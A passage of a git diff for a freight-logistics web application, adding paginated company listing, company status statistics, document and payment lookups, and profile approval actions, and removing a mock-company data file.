{ items } = await this.bookingsRepository.findAllPaginated({ + page: 1, + pageSize: 500, + companyId, + }); + return items.map((b) => ({ + id: b.id, + reference: b.reference, + status: b.status, + tradeDirection: b.tradeDirection, + freightType: b.freightType, + originLabel: b.originYard?.label ?? '', + destinationLabel: b.destinationYard?.label ?? '', + totalAmount: Number(b.totalAmount), + currency: b.paymentCurrency, + scheduledDate: b.scheduledDate ?? null, + createdAt: b.createdAt, + })); + } } diff --git a/apps/edr-freight-api/src/modules/companies/companies.controller.ts b/apps/edr-freight-api/src/modules/companies/companies.controller.ts index ac2868ec3..34fe46505 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.controller.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.controller.ts @@ -33,6 +33,9 @@ import { CompanyInfoResponseDto } from "./dto/company-info-response.dto"; import { UpdateProfileDto } from "./dto/update-profile.dto"; import { ProfileResponseDto } from "./dto/profile-response.dto"; import { DashboardSummaryResponseDto } from "./dto/dashboard-summary-response.dto"; +import { ListCompaniesQueryDto } from "./dto/list-companies-query.dto"; +import { CompanyStatsResponseDto } from "./dto/company-stats-response.dto"; +import { UpdateCompanyProfileStatusDto } from "./dto/update-company-profile-status.dto"; interface CurrentIamUser { id: string; @@ -142,29 +145,19 @@ export class CompaniesController { return new ResponseCompanyDto(company); } + @Get("stats") + @ApiOperation({ summary: "Company counts by status (KPI strip)" }) + async getStats(): Promise { + return this.companiesService.getCompanyStats(); + } + @Get() - @ApiOperation({ summary: "List all companies" }) - async findAll(): Promise { - const companies = await this.companiesService.findAllCompanies(); - return companies.map((c) => new ResponseCompanyDto(c)); - } - - @Get("type/:type") - @ApiOperation({ summary: "Find companies by type" }) - async findByType(@Param("type") type: string): Promise { - const companies = await this.companiesService.findAllCompanies(); - return companies - .filter((c) => c.type === type) - .map((c) => new ResponseCompanyDto(c)); - } - - @Get("search") - @ApiOperation({ summary: "Search companies by name" }) - async search(@Query("name") name: string): Promise { - const companies = await this.companiesService.findAllCompanies(); - return companies - .filter((c) => c.name.toLowerCase().includes(name.toLowerCase())) - .map((c) => new ResponseCompanyDto(c)); + @ApiOperation({ summary: "List companies (paginated, filterable)" }) + async findAll( + @Query() query: ListCompaniesQueryDto, + ): Promise<{ items: ResponseCompanyDto[]; total: number }> { + const { items, total } = await this.companiesService.listCompanies(query); + return { items: items.map((c) => new ResponseCompanyDto(c)), total }; } @Get(":id") @@ -195,6 +188,23 @@ export class CompaniesController { await this.companiesService.deleteCompany(id); } + @Get(":companyId/documents") + @ApiOperation({ summary: "List documents uploaded for a company" }) + async listDocuments( + @Param("companyId", ParseUUIDPipe) companyId: string, + ) { + const files = await this.filesService.findByResource(companyId, "companies"); + return files.map((f) => ({ + id: f.id, + name: f.name, + code: f.code, + mimeType: f.mimeType, + size: f.size, + uploadedAt: f.createdAt, + url: f.url, + })); + } + @Post(":companyId/documents") @UseInterceptors(AnyFilesInterceptor()) @ApiConsumes("multipart/form-data") @@ -206,6 +216,20 @@ export class CompaniesController { return this.filesService.uploadMany(companyId, "companies", files); } + @Patch("company-profiles/:profileId/status") + @FreightAdmin() + @ApiOperation({ summary: "Update a company profile's approval status" }) + async updateCompanyProfileStatus( + @Param("profileId", ParseUUIDPipe) profileId: string, + @Body() dto: UpdateCompanyProfileStatusDto, + ): Promise { + const profile = await this.companiesService.setCompanyProfileStatus( + profileId, + dto.status, + ); + return new ResponseCompanyProfileDto(profile); + } + @Post(":companyId/profiles") @FreightAdmin() @ApiOperation({ summary: "Add a profile (employee) to a company" }) diff --git a/apps/edr-freight-api/src/modules/companies/companies.repository.ts b/apps/edr-freight-api/src/modules/companies/companies.repository.ts index 1156823f7..b31f2939d 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.repository.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.repository.ts @@ -3,6 +3,8 @@ import { InjectRepository } from '@nestjs/typeorm'; import { Repository } from 'typeorm'; import { BaseRepository } from '@edr/api-common'; import { Company } from './entities/company.entity'; +import { ListCompaniesQueryDto } from './dto/list-companies-query.dto'; +import { CompanyStatsResponseDto } from './dto/company-stats-response.dto'; @Injectable() export class CompaniesRepository extends BaseRepository { @@ -32,4 +34,68 @@ export class CompaniesRepository extends BaseRepository { const count = await this.repository.count({ where: { tin } as any }); return count > 0; } + + async findPaginated( + query: ListCompaniesQueryDto, + ): Promise<{ items: Company[]; total: number }> { + const { page = 1, pageSize = 20, search, type, status } = query; + + const qb = this.repository + .createQueryBuilder('company') + .leftJoinAndSelect('company.companyProfiles', 'companyProfiles') + .where('company.deleted_at IS NULL'); + + if (type) { + qb.andWhere('company.type = :type', { type }); + } + + if (status) { + qb.andWhere('company.status = :status', { status }); + } + + if (search) { + const term = `%${search.trim()}%`; + qb.andWhere( + `(company.name ILIKE :term + OR company.tin ILIKE :term + OR company.email ILIKE :term + OR EXISTS ( + SELECT 1 FROM freight.company_profiles cp + WHERE cp.company_id = company.id + AND cp.reference ILIKE :term + AND cp.deleted_at IS NULL + ))`, + { term }, + ); + } + + const [items, total] = await qb + .orderBy('company.name', 'ASC') + .skip((page - 1) * pageSize) + .take(pageSize) + .getManyAndCount(); + + return { items, total }; + } + + async getStats(): Promise { + const rows: { status: string; count: string }[] = await this.repository + .createQueryBuilder('company') + .select('company.status', 'status') + .addSelect('COUNT(*)', 'count') + .where('company.deleted_at IS NULL') + .groupBy('company.status') + .getRawMany(); + + const map = new Map(rows.map((r) => [r.status, parseInt(r.count, 10)])); + const total = rows.reduce((sum, r) => sum + parseInt(r.count, 10), 0); + + return { + total, + active: map.get('active') ?? 0, + pending: map.get('pending') ?? 0, + suspended: map.get('suspended') ?? 0, + blacklisted: map.get('blacklisted') ?? 0, + }; + } } diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index fe1bc5598..40b82e3f0 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -15,6 +15,8 @@ import { CreateCompanyWithProfileDto } from "./dto/create-company-with-profile.d import { UpdateProfileDto } from "./dto/update-profile.dto"; import { ProfileResponseDto } from "./dto/profile-response.dto"; import { DashboardSummaryResponseDto } from "./dto/dashboard-summary-response.dto"; +import { ListCompaniesQueryDto } from "./dto/list-companies-query.dto"; +import { CompanyStatsResponseDto } from "./dto/company-stats-response.dto"; import { Company } from "./entities/company.entity"; import { ExternalProfile } from "./entities/external-profile.entity"; import { @@ -123,6 +125,16 @@ export class CompaniesService { return { company, profile }; } + async listCompanies( + query: ListCompaniesQueryDto, + ): Promise<{ items: Company[]; total: number }> { + return this.companiesRepo.findPaginated(query); + } + + async getCompanyStats(): Promise { + return this.companiesRepo.getStats(); + } + async findAllCompanies(): Promise { return this.companiesRepo.findAll({ order: { name: "ASC" } }); } @@ -405,6 +417,16 @@ export class CompaniesService { } } + async setCompanyProfileStatus( + profileId: string, + status: ProfileStatus, + ): Promise { + const updated = await this.companyProfilesRepo.updateStatus(profileId, status); + if (!updated) + throw new NotFoundException(`Company profile ${profileId} not found`); + return updated; + } + async createCompanyProfile( companyId: string, profileType?: ProfileType, diff --git a/apps/edr-freight-api/src/modules/companies/company-profile.repository.ts b/apps/edr-freight-api/src/modules/companies/company-profile.repository.ts index db7427112..24210dc4f 100644 --- a/apps/edr-freight-api/src/modules/companies/company-profile.repository.ts +++ b/apps/edr-freight-api/src/modules/companies/company-profile.repository.ts @@ -2,7 +2,7 @@ import { Injectable } from "@nestjs/common"; import { InjectRepository } from "@nestjs/typeorm"; import { Repository } from "typeorm"; import { BaseRepository } from "@edr/api-common"; -import { CompanyProfile, ProfileType } from "./entities/company-profile.entity"; +import { CompanyProfile, ProfileStatus, ProfileType } from "./entities/company-profile.entity"; const SEQUENCE_MAP: Record = { [ProfileType.exporter]: "seq_company_profile_ex", @@ -58,4 +58,16 @@ export class CompanyProfileRepository extends BaseRepository { async findByReference(reference: string): Promise { return this.repository.findOne({ where: { reference } }); } + + async findById(id: string): Promise { + return this.repository.findOne({ where: { id } }); + } + + async updateStatus( + id: string, + status: ProfileStatus, + ): Promise { + await this.repository.update({ id }, { status }); + return this.repository.findOne({ where: { id } }); + } } diff --git a/apps/edr-freight-api/src/modules/companies/dto/company-stats-response.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/company-stats-response.dto.ts new file mode 100644 index 000000000..a6b8b3b6e --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/company-stats-response.dto.ts @@ -0,0 +1,7 @@ +export class CompanyStatsResponseDto { + total!: number; + active!: number; + pending!: number; + suspended!: number; + blacklisted!: number; +} diff --git a/apps/edr-freight-api/src/modules/companies/dto/list-companies-query.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/list-companies-query.dto.ts new file mode 100644 index 000000000..c92592286 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/list-companies-query.dto.ts @@ -0,0 +1,35 @@ +import { ApiPropertyOptional } from "@nestjs/swagger"; +import { IsIn, IsInt, IsOptional, IsString, Min } from "class-validator"; +import { Transform } from "class-transformer"; +import { CompanyStatus, CompanyType } from "../entities/company.entity"; + +export class ListCompaniesQueryDto { + @ApiPropertyOptional({ default: 1 }) + @IsOptional() + @Transform(({ value }: { value: unknown }) => parseInt(String(value), 10)) + @IsInt() + @Min(1) + page?: number = 1; + + @ApiPropertyOptional({ default: 20 }) + @IsOptional() + @Transform(({ value }: { value: unknown }) => parseInt(String(value), 10)) + @IsInt() + @Min(1) + pageSize?: number = 20; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + search?: string; + + @ApiPropertyOptional({ enum: CompanyType }) + @IsOptional() + @IsIn(Object.values(CompanyType)) + type?: CompanyType; + + @ApiPropertyOptional({ enum: CompanyStatus }) + @IsOptional() + @IsIn(Object.values(CompanyStatus)) + status?: CompanyStatus; +} diff --git a/apps/edr-freight-api/src/modules/companies/dto/response-company.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/response-company.dto.ts index cb7777e8b..28097ad71 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/response-company.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/response-company.dto.ts @@ -4,6 +4,7 @@ import { ResponseExternalProfileDto } from './response-external-profile.dto'; export class ResponseCompanyProfileDto { id: string; + companyId: string; type: string; reference: string; status: string; @@ -14,6 +15,7 @@ export class ResponseCompanyProfileDto { constructor(profile: CompanyProfile) { this.id = profile.id; + this.companyId = profile.companyId; this.type = profile.type; this.reference = profile.reference; this.status = profile.status; diff --git a/apps/edr-freight-api/src/modules/companies/dto/update-company-profile-status.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/update-company-profile-status.dto.ts new file mode 100644 index 000000000..96c02d846 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/update-company-profile-status.dto.ts @@ -0,0 +1,9 @@ +import { ApiProperty } from "@nestjs/swagger"; +import { IsIn } from "class-validator"; +import { ProfileStatus } from "../entities/company-profile.entity"; + +export class UpdateCompanyProfileStatusDto { + @ApiProperty({ enum: ProfileStatus }) + @IsIn(Object.values(ProfileStatus)) + status!: ProfileStatus; +} diff --git a/apps/edr-freight-api/src/modules/payment/payment.controller.ts b/apps/edr-freight-api/src/modules/payment/payment.controller.ts index 14308883d..f1f34c3b1 100644 --- a/apps/edr-freight-api/src/modules/payment/payment.controller.ts +++ b/apps/edr-freight-api/src/modules/payment/payment.controller.ts @@ -4,6 +4,7 @@ import { Get, HttpStatus, Param, + ParseUUIDPipe, Post, Query, Res, @@ -33,6 +34,14 @@ import { export class PaymentController { constructor(private readonly paymentService: PaymentService) { } + @Get("by-company/:companyId/customer-view") + @ApiOperation({ summary: "List payments for a company (customer-view shape, backoffice)" }) + findByCompanyCustomerView( + @Param("companyId", ParseUUIDPipe) companyId: string, + ) { + return this.paymentService.findByCompanyId(companyId); + } + @Get("summary") @BookingView() @ApiOperation({ summary: "Payment count/amount summary for dashboard cards" }) diff --git a/apps/edr-freight-api/src/modules/payment/payment.repository.ts b/apps/edr-freight-api/src/modules/payment/payment.repository.ts index 8c830a20f..25c3bdd6b 100644 --- a/apps/edr-freight-api/src/modules/payment/payment.repository.ts +++ b/apps/edr-freight-api/src/modules/payment/payment.repository.ts @@ -61,4 +61,56 @@ export class PaymentRepository { return this.paymentRepo.createQueryBuilder(alias); } + async findByCompanyId(companyId: string): Promise<{ + id: string; + merchantOrderId: string; + bookingReference: string; + amount: number; + currency: string; + method: string; + status: string; + paidAt: Date | null; + createdAt: Date; + }[]> { + const rows: { + id: string; + merchant_order_id: string; + booking_reference: string; + amount: number; + currency: string; + method: string; + status: string; + paid_at: Date | null; + created_at: Date; + }[] = await this.dataSource.query( + `SELECT p.id, + p.merchant_order_id, + b.reference AS booking_reference, + p.amount, + p.currency, + p.method, + p.status, + p.paid_at, + p.created_at + FROM freight.payments p + JOIN freight.bookings b ON b.id = p.ref_id + WHERE b.company_id = $1 + AND p.deleted_at IS NULL + AND b.deleted_at IS NULL + ORDER BY p.created_at DESC`, + [companyId], + ); + return rows.map((r) => ({ + id: r.id, + merchantOrderId: r.merchant_order_id, + bookingReference: r.booking_reference, + amount: Number(r.amount), + currency: r.currency, + method: r.method, + status: r.status, + paidAt: r.paid_at, + createdAt: r.created_at, + })); + } + } \ No newline at end of file diff --git a/apps/edr-freight-api/src/modules/payment/payment.service.ts b/apps/edr-freight-api/src/modules/payment/payment.service.ts index 177b7475b..efeaf3428 100644 --- a/apps/edr-freight-api/src/modules/payment/payment.service.ts +++ b/apps/edr-freight-api/src/modules/payment/payment.service.ts @@ -428,4 +428,8 @@ export class PaymentService { default: return "action-required"; } } + + async findByCompanyId(companyId: string) { + return this.paymentRepo.findByCompanyId(companyId); + } } diff --git a/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx b/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx index 4ebdc675d..e108d1b1f 100644 --- a/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx +++ b/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx @@ -1,4 +1,6 @@ -import { Badge, Group, Tooltip } from "@mantine/core"; +import { Badge, Button, Group, Tooltip } from "@mantine/core"; +import { useMutation } from "@tanstack/react-query"; +import { api } from "@/services/api"; import type { CompanyProfile, @@ -207,3 +209,108 @@ export function PaymentStatusBadge({ status }: { status: CustomerPaymentStatus } ); } + +/** + * Inline approval action buttons for a profile row. + * Transitions: pending → approve/reject | active → suspend | suspended → reactivate/blacklist | blacklisted → reinstate + */ +export function ProfileApprovalActions({ + profileId, + status, +}: { + profileId: string; + status: ProfileStatus; +}) { + const { mutate, isPending } = useMutation( + api.customers.setProfileStatus.mutationOptions(), + ); + + const act = (next: ProfileStatus) => + mutate({ profileId, status: next }); + + if (status === "pending") { + return ( + + + + + ); + } + + if (status === "active") { + return ( + + ); + } + + if (status === "suspended") { + return ( + + + + + ); + } + + if (status === "blacklisted") { + return ( + + ); + } + + return null; +} diff --git a/apps/edr-freight-web/backoffice/src/components/customers/index.ts b/apps/edr-freight-web/backoffice/src/components/customers/index.ts index f94ca5a73..61b75767a 100644 --- a/apps/edr-freight-web/backoffice/src/components/customers/index.ts +++ b/apps/edr-freight-web/backoffice/src/components/customers/index.ts @@ -3,6 +3,7 @@ export { CompanyStatusBadge, CompanyTypeBadge, PaymentStatusBadge, + ProfileApprovalActions, ProfileChips, ProfileStatusBadge, ProfileTypeBadge, diff --git a/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts b/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts index 8d91b6f0d..aced8cda4 100644 --- a/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts +++ b/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts @@ -27,6 +27,7 @@ export const QUERY_KEYS = { CUSTOMERS: { ROOT: ["customers"] as const, + stats: ["customers", "stats"] as const, list: (filter?: CompanyListFilter) => ["customers", "list", filter ?? {}] as const, byId: (id: string) => ["customers", "detail", id] as const, diff --git a/apps/edr-freight-web/backoffice/src/constants/URLS.ts b/apps/edr-freight-web/backoffice/src/constants/URLS.ts index b1412b9a1..e0d57fbf4 100644 --- a/apps/edr-freight-web/backoffice/src/constants/URLS.ts +++ b/apps/edr-freight-web/backoffice/src/constants/URLS.ts @@ -71,7 +71,12 @@ export const URL_CONSTANTS = { COMPANIES: { BASE: "/companies", + STATS: "/companies/stats", BY_ID: (id: string | number) => `/companies/${id}`, + DOCUMENTS: (id: string) => `/companies/${id}/documents`, + PROFILE_STATUS: (profileId: string) => `/companies/company-profiles/${profileId}/status`, + BOOKINGS_CUSTOMER_VIEW: (id: string) => `/bookings/by-company/${id}/customer-view`, + PAYMENTS_CUSTOMER_VIEW: (id: string) => `/payments/by-company/${id}/customer-view`, }, CUSTOMERS_API: { diff --git a/apps/edr-freight-web/backoffice/src/hooks/customers/useCustomers.ts b/apps/edr-freight-web/backoffice/src/hooks/customers/useCustomers.ts deleted file mode 100644 index 11af924ca..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/customers/useCustomers.ts +++ /dev/null @@ -1,44 +0,0 @@ -import { useQuery } from "@tanstack/react-query"; - -import { QUERY_KEYS } from "@/constants/QUERY_KEYS"; -import { customersService } from "@/services/customers.service"; -import type { CompanyListFilter } from "@/types/customer"; - -export function useCustomerList(filter: CompanyListFilter) { - return useQuery({ - queryKey: QUERY_KEYS.CUSTOMERS.list(filter), - queryFn: () => customersService.list(filter), - }); -} - -export function useCustomerDetail(id: string | undefined) { - return useQuery({ - queryKey: QUERY_KEYS.CUSTOMERS.byId(id ?? ""), - queryFn: () => customersService.getById(id!), - enabled: Boolean(id), - }); -} - -export function useCustomerBookings(id: string | undefined) { - return useQuery({ - queryKey: QUERY_KEYS.CUSTOMERS.bookings(id ?? ""), - queryFn: () => customersService.bookingsFor(id!), - enabled: Boolean(id), - }); -} - -export function useCustomerDocuments(id: string | undefined) { - return useQuery({ - queryKey: QUERY_KEYS.CUSTOMERS.documents(id ?? ""), - queryFn: () => customersService.documentsFor(id!), - enabled: Boolean(id), - }); -} - -export function useCustomerPayments(id: string | undefined) { - return useQuery({ - queryKey: QUERY_KEYS.CUSTOMERS.payments(id ?? ""), - queryFn: () => customersService.paymentsFor(id!), - enabled: Boolean(id), - }); -} diff --git a/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx index dd492281b..f38e8c38b 100644 --- a/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx @@ -22,6 +22,7 @@ import { LayoutGrid, Package, } from "lucide-react"; +import { useQuery } from "@tanstack/react-query"; import { useMemo } from "react"; import { useNavigate, useParams } from "react-router-dom"; @@ -30,6 +31,7 @@ import { CompanyStatusBadge, CompanyTypeBadge, PaymentStatusBadge, + ProfileApprovalActions, ProfileChips, ProfileStatusBadge, ProfileTypeBadge, @@ -40,12 +42,7 @@ import { humanize, } from "@/components/customers"; import { KpiStrip, PageContainer, PageHeader } from "@/components/page"; -import { - useCustomerBookings, - useCustomerDetail, - useCustomerDocuments, - useCustomerPayments, -} from "@/hooks/customers/useCustomers"; +import { api } from "@/services/api"; import type { CompanyProfile, CustomerBooking, @@ -81,10 +78,30 @@ export default function CustomerDetailPage() { const { id } = useParams<{ id: string }>(); const navigate = useNavigate(); - const { data: company, isLoading } = useCustomerDetail(id); - const bookingsQuery = useCustomerBookings(id); - const documentsQuery = useCustomerDocuments(id); - const paymentsQuery = useCustomerPayments(id); + const { data: company, isLoading } = useQuery( + api.customers.getById.queryOptions({ + input: { id: id ?? "" }, + enabled: Boolean(id), + }), + ); + const bookingsQuery = useQuery( + api.customers.bookings.queryOptions({ + input: { id: id ?? "" }, + enabled: Boolean(id), + }), + ); + const documentsQuery = useQuery( + api.customers.documents.queryOptions({ + input: { id: id ?? "" }, + enabled: Boolean(id), + }), + ); + const paymentsQuery = useQuery( + api.customers.payments.queryOptions({ + input: { id: id ?? "" }, + enabled: Boolean(id), + }), + ); const bookings = bookingsQuery.data ?? []; const documents = documentsQuery.data ?? []; @@ -132,13 +149,23 @@ export default function CustomerDetailPage() { { id: "createdAt", header: "Registered", - meta: { headerClassName: "text-right", cellClassName: "text-right" }, cell: ({ row }) => ( {formatDate(row.original.createdAt)} ), }, + { + id: "actions", + header: "", + meta: { headerClassName: "text-right", cellClassName: "text-right" }, + cell: ({ row }) => ( + + ), + }, ], [], ); @@ -402,6 +429,14 @@ export default function CustomerDetailPage() { icon: IdCard, color: "edr-green", }, + { + label: "Pending approval", + value: company.companyProfiles.filter( + (p) => p.status === "pending", + ).length, + icon: IdCard, + color: "yellow", + }, { label: "Bookings", value: bookings.length, @@ -414,12 +449,6 @@ export default function CustomerDetailPage() { icon: Banknote, color: "edr-green", }, - { - label: "Documents", - value: documents.length, - icon: FileText, - color: "grape", - }, ]} /> @@ -472,7 +501,7 @@ export default function CustomerDetailPage() { - + c.status === "active").length, - pending: MOCK_COMPANIES.filter((c) => c.status === "pending").length, - blacklisted: MOCK_COMPANIES.filter((c) => c.status === "blacklisted").length, -}; - export default function CustomersPage() { const navigate = useNavigate(); const { pagination, setPagination } = usePagination({ pageSize: 10 }); @@ -63,8 +55,11 @@ export default function CustomersPage() { [pagination.pageIndex, pagination.pageSize, debouncedQuery], ); - const { data, isLoading, isError, refetch, isFetching } = - useCustomerList(filter); + const { data: stats } = useQuery(api.customers.stats.queryOptions({ input: {} })); + + const { data, isLoading, isError, refetch, isFetching } = useQuery( + api.customers.list.queryOptions({ input: { filter } }), + ); const rows = data?.items ?? []; const total = data?.total ?? 0; @@ -184,12 +179,12 @@ export default function CustomersPage() { new Date(date).toISOString(); - -export const MOCK_COMPANIES: Company[] = [ - { - id: "c1", - name: "Abyssinia Import & Export PLC", - type: "customer", - status: "active", - tin: "0012345678", - vatNumber: "VAT-100245", - fanNumber: "FAN-0099", - country: "Ethiopia", - address: "Bole Road, Addis Ababa", - phone: "+251 911 234 567", - email: "ops@abyssinia-ie.com", - contactPersonName: "Selam Bekele", - contactPersonPhone: "+251 911 234 567", - generalManagerName: "Dawit Tadesse", - generalManagerEmail: "dawit@abyssinia-ie.com", - generalManagerPhone: "+251 911 000 111", - website: "https://abyssinia-ie.com", - attributes: null, - companyProfiles: [ - { - id: "p1", - companyId: "c1", - type: "importer", - reference: "IMP-00123", - status: "active", - businessLicense: "BL-IMP-4521", - createdAt: iso("2024-02-10"), - updatedAt: iso("2024-02-10"), - }, - { - id: "p2", - companyId: "c1", - type: "exporter", - reference: "EXP-00456", - status: "active", - businessLicense: "BL-EXP-7782", - createdAt: iso("2024-03-01"), - updatedAt: iso("2024-03-01"), - }, - ], - createdAt: iso("2024-02-10"), - updatedAt: iso("2025-01-12"), - }, - { - id: "c2", - name: "Horn Logistics Freight Forwarding", - type: "freight_forwarder", - status: "active", - tin: "0023456789", - vatNumber: "VAT-200112", - fanNumber: null, - country: "Ethiopia", - address: "Kality Industrial Zone, Addis Ababa", - phone: "+251 911 765 432", - email: "dispatch@hornlogistics.et", - contactPersonName: "Yonas Girma", - contactPersonPhone: "+251 911 765 432", - generalManagerName: "Hanna Mekonnen", - generalManagerEmail: "hanna@hornlogistics.et", - generalManagerPhone: "+251 911 222 333", - website: "https://hornlogistics.et", - attributes: null, - companyProfiles: [ - { - id: "p3", - companyId: "c2", - type: "freight_forwarder", - reference: "FFW-01001", - status: "active", - businessLicense: "BL-FFW-1190", - createdAt: iso("2023-11-05"), - updatedAt: iso("2023-11-05"), - }, - { - id: "p4", - companyId: "c2", - type: "importer", - reference: "IMP-00890", - status: "pending", - businessLicense: null, - createdAt: iso("2024-06-18"), - updatedAt: iso("2024-06-18"), - }, - { - id: "p5", - companyId: "c2", - type: "exporter", - reference: "EXP-00777", - status: "active", - businessLicense: "BL-EXP-3310", - createdAt: iso("2024-07-01"), - updatedAt: iso("2024-07-01"), - }, - ], - createdAt: iso("2023-11-05"), - updatedAt: iso("2025-02-20"), - }, - { - id: "c3", - name: "Djibouti Gateway Forwarders", - type: "dj_freight_forwarder", - status: "active", - tin: "0034567890", - vatNumber: null, - fanNumber: "FAN-0451", - country: "Djibouti", - address: "Port de Djibouti, Djibouti City", - phone: "+253 21 35 00 00", - email: "ops@djgateway.dj", - contactPersonName: "Amina Idriss", - contactPersonPhone: "+253 77 12 34 56", - generalManagerName: "Omar Farah", - generalManagerEmail: "omar@djgateway.dj", - generalManagerPhone: "+253 77 99 88 77", - website: null, - attributes: null, - companyProfiles: [ - { - id: "p6", - companyId: "c3", - type: "dj_freight_forwarder", - reference: "DJF-02050", - status: "active", - businessLicense: "BL-DJF-0088", - createdAt: iso("2023-09-12"), - updatedAt: iso("2023-09-12"), - }, - ], - createdAt: iso("2023-09-12"), - updatedAt: iso("2024-12-30"), - }, - { - id: "c4", - name: "Rift Valley Transporters", - type: "transporter", - status: "suspended", - tin: "0045678901", - vatNumber: "VAT-300988", - fanNumber: null, - country: "Ethiopia", - address: "Adama Ring Road, Adama", - phone: "+251 912 345 678", - email: "fleet@riftvalley-tr.com", - contactPersonName: "Bereket Alemu", - contactPersonPhone: "+251 912 345 678", - generalManagerName: "Meron Haile", - generalManagerEmail: "meron@riftvalley-tr.com", - generalManagerPhone: "+251 912 111 222", - website: null, - attributes: null, - companyProfiles: [ - { - id: "p7", - companyId: "c4", - type: "transporter", - reference: "TRP-03012", - status: "suspended", - businessLicense: "BL-TRP-2204", - createdAt: iso("2024-01-22"), - updatedAt: iso("2024-10-04"), - }, - ], - createdAt: iso("2024-01-22"), - updatedAt: iso("2024-10-04"), - }, - { - id: "c5", - name: "Nile Trading & General Import", - type: "customer", - status: "pending", - tin: "0056789012", - vatNumber: null, - fanNumber: null, - country: "Ethiopia", - address: "Merkato, Addis Ababa", - phone: "+251 913 456 789", - email: "info@niletrading.et", - contactPersonName: "Sara Tesfaye", - contactPersonPhone: "+251 913 456 789", - generalManagerName: "Kebede Worku", - generalManagerEmail: "kebede@niletrading.et", - generalManagerPhone: "+251 913 000 999", - website: null, - attributes: null, - companyProfiles: [ - { - id: "p8", - companyId: "c5", - type: "importer", - reference: "IMP-01456", - status: "pending", - businessLicense: null, - createdAt: iso("2025-03-14"), - updatedAt: iso("2025-03-14"), - }, - ], - createdAt: iso("2025-03-14"), - updatedAt: iso("2025-03-14"), - }, - { - id: "c6", - name: "Sheba Steel & Cement Importers", - type: "customer", - status: "active", - tin: "0067890123", - vatNumber: "VAT-400777", - fanNumber: "FAN-0512", - country: "Ethiopia", - address: "Lebu, Addis Ababa", - phone: "+251 914 567 890", - email: "procure@shebasteel.com", - contactPersonName: "Tigist Assefa", - contactPersonPhone: "+251 914 567 890", - generalManagerName: "Robel Negash", - generalManagerEmail: "robel@shebasteel.com", - generalManagerPhone: "+251 914 222 444", - website: "https://shebasteel.com", - attributes: null, - companyProfiles: [ - { - id: "p9", - companyId: "c6", - type: "importer", - reference: "IMP-01987", - status: "active", - businessLicense: "BL-IMP-9001", - createdAt: iso("2024-05-09"), - updatedAt: iso("2024-05-09"), - }, - ], - createdAt: iso("2024-05-09"), - updatedAt: iso("2025-04-02"), - }, - { - id: "c7", - name: "Awash Agro Export Union", - type: "customer", - status: "active", - tin: "0078901234", - vatNumber: "VAT-500321", - fanNumber: null, - country: "Ethiopia", - address: "Awash, Afar", - phone: "+251 915 678 901", - email: "export@awashagro.coop", - contactPersonName: "Lensa Diriba", - contactPersonPhone: "+251 915 678 901", - generalManagerName: "Gemechu Bayisa", - generalManagerEmail: "gemechu@awashagro.coop", - generalManagerPhone: "+251 915 333 555", - website: null, - attributes: null, - companyProfiles: [ - { - id: "p10", - companyId: "c7", - type: "exporter", - reference: "EXP-02233", - status: "active", - businessLicense: "BL-EXP-6650", - createdAt: iso("2024-08-19"), - updatedAt: iso("2024-08-19"), - }, - { - id: "p11", - companyId: "c7", - type: "importer", - reference: "IMP-02234", - status: "active", - businessLicense: "BL-IMP-6651", - createdAt: iso("2024-08-19"), - updatedAt: iso("2024-08-19"), - }, - ], - createdAt: iso("2024-08-19"), - updatedAt: iso("2025-05-10"), - }, - { - id: "c8", - name: "Blacklisted Holdings Trading", - type: "customer", - status: "blacklisted", - tin: "0089012345", - vatNumber: null, - fanNumber: null, - country: "Ethiopia", - address: "Unknown", - phone: "+251 916 789 012", - email: "contact@blacklistedholdings.com", - contactPersonName: "N/A", - contactPersonPhone: "+251 916 789 012", - generalManagerName: "N/A", - generalManagerEmail: null, - generalManagerPhone: null, - website: null, - attributes: null, - companyProfiles: [ - { - id: "p12", - companyId: "c8", - type: "importer", - reference: "IMP-02999", - status: "blacklisted", - businessLicense: null, - createdAt: iso("2023-12-01"), - updatedAt: iso("2024-02-15"), - }, - ], - createdAt: iso("2023-12-01"), - updatedAt: iso("2024-02-15"), - }, - { - id: "c9", - name: "Lalibela Coffee Exporters", - type: "customer", - status: "active", - tin: "0090123456", - vatNumber: "VAT-600145", - fanNumber: "FAN-0623", - country: "Ethiopia", - address: "Sidama, Hawassa", - phone: "+251 917 890 123", - email: "trade@lalibelacoffee.com", - contactPersonName: "Eyob Tariku", - contactPersonPhone: "+251 917 890 123", - generalManagerName: "Frehiwot Solomon", - generalManagerEmail: "frehiwot@lalibelacoffee.com", - generalManagerPhone: "+251 917 444 666", - website: "https://lalibelacoffee.com", - attributes: null, - companyProfiles: [ - { - id: "p13", - companyId: "c9", - type: "exporter", - reference: "EXP-03456", - status: "active", - businessLicense: "BL-EXP-8842", - createdAt: iso("2024-04-03"), - updatedAt: iso("2024-04-03"), - }, - ], - createdAt: 